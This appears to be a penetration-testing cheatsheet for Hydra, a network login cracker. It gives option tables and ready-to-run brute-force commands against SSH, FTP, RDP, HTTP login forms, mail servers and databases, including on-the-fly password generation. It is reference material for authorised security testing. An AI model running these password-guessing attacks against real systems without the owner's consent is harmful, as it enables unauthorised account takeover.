Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Hydra Cheatsheet

Hydra is a fast network login cracker that supports numerous attack protocols. It utilizes parallel connections to perform multiple login attempts simultaneously, making it significantly faster than sequential tools.

Installation

Hydra often comes pre-installed on popular penetration testing distributions. To verify:

hydra -h

If not installed:

sudo apt-get -y install hydra

Basic Syntax

hydra [login_options] [password_options] [attack_options] [service_options] service://server

Login Options

OptionDescriptionExample
-l LOGINSingle usernamehydra -l admin ...
-L FILEUsername list filehydra -L usernames.txt ...

Password Options

OptionDescriptionExample
-p PASSSingle passwordhydra -p password123 ...
-P FILEPassword list filehydra -P passwords.txt ...
-x MIN:MAX:CHARSETGenerate passwordshydra -x 6:8:aA1 ...

The -x option generates passwords on-the-fly:

  • MIN:MAX specifies the password length range
  • CHARSET defines the character set: a = lowercase, A = uppercase, 1 = numbers
  • Custom character sets can be specified directly (e.g., abcdefghijklmnopqrstuvwxyz0123456789)

Attack Options

OptionDescriptionExample
-t TASKSNumber of parallel tasks (threads)hydra -t 4 ...
-fStop after first successful loginhydra -f ...
-s PORTSpecify non-default porthydra -s 2222 ...
-vVerbose outputhydra -v ...
-VVery verbose outputhydra -V ...

Common Services

ServiceProtocolDescriptionExample
ftpFTPFile Transfer Protocolhydra -l admin -P passwords.txt ftp://192.168.1.100
sshSSHSecure Shellhydra -l root -P passwords.txt ssh://192.168.1.100
http-getHTTP GETWeb login (GET)hydra -l admin -P passwords.txt http-get://example.com/login
http-postHTTP POSTWeb login (POST)hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
smtpSMTPEmail sendinghydra -l admin -P passwords.txt smtp://mail.server.com
pop3POP3Email retrievalhydra -l user@example.com -P passwords.txt pop3://mail.server.com
imapIMAPRemote email accesshydra -l user@example.com -P passwords.txt imap://mail.server.com
rdpRDPRemote Desktop Protocolhydra -l administrator -P passwords.txt rdp://192.168.1.100
telnetTelnetRemote terminalhydra -l admin -P passwords.txt telnet://192.168.1.100
mysqlMySQLDatabasehydra -l root -P passwords.txt mysql://192.168.1.100
postgresPostgreSQLDatabasehydra -l postgres -P passwords.txt postgres://192.168.1.100

HTTP Form-Based Authentication

For HTTP form-based logins, Hydra uses a specific syntax:

http-post-form "/path/to/login.php:field1=^USER^&field2=^PASS^:failure_string"
  • ^USER^ and ^PASS^ are placeholders replaced with actual credentials
  • The failure string (after the second :) identifies failed login attempts
  • Use F= prefix for failure strings (e.g., F=incorrect)

Useful Examples

SSH Brute Force

hydra -l root -P /path/to/passwords.txt -t 4 ssh://192.168.1.100

FTP Brute Force

hydra -L usernames.txt -P passwords.txt ftp://192.168.1.100

HTTP POST Form Attack

hydra -l admin -P passwords.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" 192.168.1.100

RDP with Password Generation

hydra -l administrator -x 6:8:aA1 rdp://192.168.1.100

SSH on Non-Default Port

hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

Stop After First Success

hydra -l admin -P passwords.txt -f ssh://192.168.1.100

Verbose Output

hydra -l admin -P passwords.txt -v ssh://192.168.1.100

RDP with Custom Character Set

hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 rdp://192.168.1.100